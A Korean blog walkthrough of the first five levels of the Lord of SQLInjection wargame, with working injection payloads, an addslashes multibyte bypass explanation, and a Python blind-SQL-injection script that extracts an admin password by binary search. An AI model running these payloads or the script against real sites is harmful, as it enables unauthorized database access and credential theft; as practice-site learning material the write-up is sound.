본문 바로가기

워게임

los rubiya -1,2,3,4,5 풀이

안녕하세요! 이번에는 SQLi 전용 워게임 사이트를 풀어보겠습니다.

 

사이트는

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

여기입니다.

 

시작하겠습니다

 

 

로그인 하고 들어가니...

 

그렘린부터 풀겠습니다.

 

음..

 

query문을 알려 주네요! 1번이라 쉬운 거 같습니다. 한번 URL에 id=1&pw=1 get으로 보내보겠습니다.

GET 방식으로 보내는 방법은 URL 끝에 ? 붙이고 id=1&pw=1 이렇게 보내시면 돼요

 

 

아하

 

그럼 이제 OR 구문을 써서 id가 뭐든 pw가 뭐든 그냥 참으로 만들어 버리겠습니다.

 

id=1&pw=1'OR'1'='1

 

 

끝!!

 

 

좋아요 이제 2번으로 넘어갑시다.

 

코볼트

 

아하..

 

pw에 md5 라는 해쉬 함수가 들어가 있네요 그럼 pw에 장난을 쳐도 md5에 의해 막힐 겁니다.

 

if($result['id'])= admin 적혀있네요

즉 id가 admin이여야지만 solve가 되네요!

 

그럼 id에 SQL문을 넣겠습니다. id=admin' OR '1'='1

 

클리어!

바로 다음 문제로 가볼게요

 

 

고블린

 

 

음..

 

no 에 '' 없는 것을 보니 정수 값인 것을 확인할 수 있습니다.

그리고 id가 guest로 고정이 되어있네요! 근데 id가 admin이 여야지만 이 문제가 풀립니다.

흠.. 그럼 어떻게 할까요.. 간단하죠 no 값에 select 문을 또 작성하면 됩니다.

 

no=admin union select id from prob_goblin where id = 'admin

 

이렇게 했는데

 

 

다른 방법을 쓰라네요

 

그럼.. 무슨 방법이 있을까요

 

자세하게 보니 모든 특수 문자들은 걸러내네요

if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 

 

음.. 그럼 특수 문자를 안 쓰고 admin으로 바꾸는 방법이라..

 

한 번 no=1 을 넣어보겠습니다

 

 

no 1번이 guest이면 no 0번이나 2번이 admin 일 수 도 있겠네요?

 

그러니 이렇게 작성하겠습니다. no=100 OR no=2

 

굳!

 

설명해드리겠습니다

 

모든 query는 AND 구문 먼저 실행을 합니다. 그러니깐

 

select id from prob_goblin where id='guest' and no=100 OR no=2 에서 

id='guest' and no=100 먼저 실행을 합니다.

guest는 no=1 이여야지 참이잖아요? 근데 100 입력되어서 거짓됩니다!

 

그리고 나면 남은 OR 구문이랑 비교하게 됩니다.

거짓 OR no=2 앞에 거짓이니깐 뒤에 no=2 인 것을 찾게 됩니다.

 

간단히 말해서 id='guest' and no=100  또는  no=2 을 각각 실행하는 겁니다.

 

다음 문제!

 

오크

 

 

음..

pw을 받는데 addslashes 때문에 특수문자 ' 나 " 이게 \(백슬레쉬) 붙여지겠네요

 

그리고 정답이 admin의 pw랑 저희가 보내는 pw랑 같아야만 문제가 풀립니다.

 

여기서의 풀이는 아니지만 참고하실 게 있습니다.

addslashes() 함수 우회

 

https://blog.naver.com/skinfosec2000/220535626029

 

PHP addslashes(), magic_quotes_gpc 우회를 통한 SQL Injection 공격

  addslashes(), magic_quotes_gpc 우회를 통한 SQL 인젝션 공격 가능       일부 ...

blog.naver.com

여기 참고했습니다.

 

간단하게 정리를 하자면 ' 만 보내면 백슬레쉬가 붙여지는데 %aa' 이렇게 보내면 addslashes 함수 때문에

%aa\' 이렇게 나오게 되는데 \는 인코딩으로 %5c 이여서 실제론 %aa%5c%27 이렇게 데이터을 보내게 됩니다.

 

그럼 컴퓨터가 %aa%5c을 한 문자로 보고 넘어가게 되고 %27만 남게 됩니다. 그러니 '이 제 기능을 하게 됩니다.

여기서 쓸 일 없지만 나중에 쓸 일 생길 수 있으니 알아만 둬요!

.

.

.

 

그런데 여기서 결국엔 result['pw']을 알아내야만 이 문제을 풀 수 있습니다.

참과 거짓이 있는가?

 

pw=1'OR'1'='1 입력해봅시다. 저희는 admin의 pw을 모르잖아요?

그러니 OR 구문 이용하여 강제로 참일 때는 어느 화면 나오는지 확인해보겠습니다.

 

 

아하 Hello admin이 나오네요!

 

정확히 보기 위해 버프 스위트로 보겠습니다.

 

-참일 경우

 

Hello admin

 

 

-거짓인 경우

 

아하

 

이제 참과 거짓의 식별 단어를 알게 되었습니다.

 

한 번 길이을 알아보겠습니다.

비밀번호 길이 알아내고 싶으면 length함수 이용하면 됩니다.

 

'OR length(pw)=1 %23 보내 보겠습니다

 

 

아니네요

 

2,3,4 쭉 하시다 보면 8에서 나오는 것을 알 수 있습니다.

'OR length(pw)=8 %23

 

좋아요!

 

이제 제가 저번에 만든 파이썬 코드를 이용하겠습니다.

만약 모르시다면 

https://mynameisarke.tistory.com/41

 

[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식)

안녕하세요! 오늘은 Blind SQL Injection을 했을 때 저희가 일일이 문자 하나하나 넣어서 확인했었잖아요? 이제 그걸 자동화하기 위해 파이썬으로 코드를 짜서 만들어보겠습니다. 일단은 import requests

mynameisarke.tistory.com

참고하세요!

 

 

blind_query 문을 조금 수정하겠습니다

' OR (id='admin' ascii(substring(({}),{},1))>{})  AND '1'='1 이렇게 수정했습니다.

id=admin을 한 이유는 정확하게 admin의 pw을 찾아내기 위함입니다.

 

data는 blind_query.format(query, s, mid) 만 넣었습니다.

 

그리고 get방식으로 보내게 코드를 수정하겠습니다

 

게다가 참일 때 Hello admin이 나오니 반복문에서 in을 not in으로 바꿔주어서

거짓이 Hello admin 안 나올 때 판별하게 했습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "pw": blind_query.format(query, s, 0)
        } #먼저 아스키 코드가 0인지 식별

        response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

        if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "pw": blind_query.format(query, s, mid),
            } #POST로 보낼 값 각각 작성


            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화


    return value


blind_query = "' OR (id ='admin' and ascii(substring(({}),{},1))>{} )AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

이렇게요

 

실행해보겠습니다.

 

 

095a9852

 

좋아요! 한번 보내봅시다 pw=095a9852

 

 

재밌네요!

 

다음 5번 문제!

 

오호

 

이번엔 preg_match 문에 공백이 있는 거 보니 이번엔 공백을 쓰지 말라네요!

그럼 괄호로 묶어주면 되죠

게다가 id가 admin이면 되겠네요

 

pw=1'OR(id='admin')%23

 

하면 끝이네요 앞구문에 guest의 pw가 1인 것은 거짓

id='admin' 인 것만 찾겠네요

 

쉽네요!

 

 

 

 

좋아요!

 

오늘은  여기까지 풀겠습니다 시간이 날 때마다 풀어보겠습니다 감사합니다.

 

 

'워게임' 카테고리의 다른 글

los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14
los rubiya -11,12,13 풀이  (0) 2023.05.12
los rubiya -6,7,8,9,10 풀이  (0) 2023.05.11
해킹 전용 사이트 만들기 - 1 (SQLi)  (0) 2023.05.08